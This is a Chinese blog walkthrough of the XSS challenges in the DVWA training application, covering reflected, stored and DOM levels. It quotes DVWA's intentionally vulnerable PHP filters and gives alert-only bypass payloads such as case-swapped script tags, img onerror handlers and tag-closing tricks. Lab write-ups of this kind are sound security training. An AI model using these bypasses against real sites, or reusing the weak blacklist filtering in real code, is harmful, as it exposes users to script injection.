dvwa xss通关

反射型XSS通关

low难度

选择难度:

直接用下面JS代码尝试:

<script>alert(/xss/)</script>

通关成功:

medium难度

直接下面代码尝试后失败

<script>alert(/xss/)</script>

发现这段代码直接被输出:

尝试修改<script>标签的字母大小写,做大小写绕过:

<scRipt>alert(/xss/)</scRipt>

通关成功:

high难度

查看源码,做代码审计:

<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {	// Get input	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );	// Feedback for end user	$html .= "<pre>Hello ${name}</pre>";}?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

<img src = 1 onerror=alert(/xss/)>

通关成功:

存储型XSS通关

low难度

直接用下面代码尝试

<script>alert(/xss/)</script>

如图:

通关成功:

medium难度

查看源码,做代码审计:

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {	// Get input	$message = trim( $_POST[ 'mtxMessage' ] );	$name    = trim( $_POST[ 'txtName' ] );	// Sanitize message input	$message = strip_tags( addslashes( $message ) );	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	$message = htmlspecialchars( $message );	// Sanitize name input	$name = str_replace( '<script>', '', $name );	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// Update database	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );	//mysql_close();}?>


trim() 方法用于删除字符串的头尾空白符


strip_tags() 函数剥去字符串中的 HTML 标签


htmlspecialchars()函数将><单引号双引号做HTML实体化


发现

$message = trim( $_POST[ 'mtxMessage' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );

$name = trim( $_POST[ 'txtName' ] );
$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

通关成功:

high难度

查看源码

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {	// Get input	$message = trim( $_POST[ 'mtxMessage' ] );	$name    = trim( $_POST[ 'txtName' ] );	// Sanitize message input	$message = strip_tags( addslashes( $message ) );	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	$message = htmlspecialchars( $message );	// Sanitize name input	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// Update database	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );	//mysql_close();}?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

<img src = 1 onerror=alert(/xss/)>

通关成功:

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

打开hackbar,在URL中输入

<script>alert(/xss/)</script>

通关成功:

medium难度

查看源代码,做代码审计:

<?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {	$default = $_GET['default'];		# Do not allow script tags	if (stripos ($default, "<script") !== false) {		header ("location: ?default=English");		exit;	}}?>


stripos函数:查找 双引号中的字符在字符串中第一次出现的位置


发现这关对script标签有一个过滤,所以不用script标签

尝试输入

<img src = 1 onerror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

/option><select><img src = 1 onerror=alert(/xss/)>

通过成功:

high难度

查看源代码:

<?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {	# White list the allowable languages	switch ($_GET['default']) {		case "French":		case "English":		case "German":		case "Spanish":			# ok			break;		default:			header ("location: ?default=English");			exit;	}}?>


array_key_exists:查找键名(数组元素名)是否存在数组中


is_null函数:用于检测变量是否为 NULL


这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

#<script>alert(/xss/)</script>

通关成功:

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容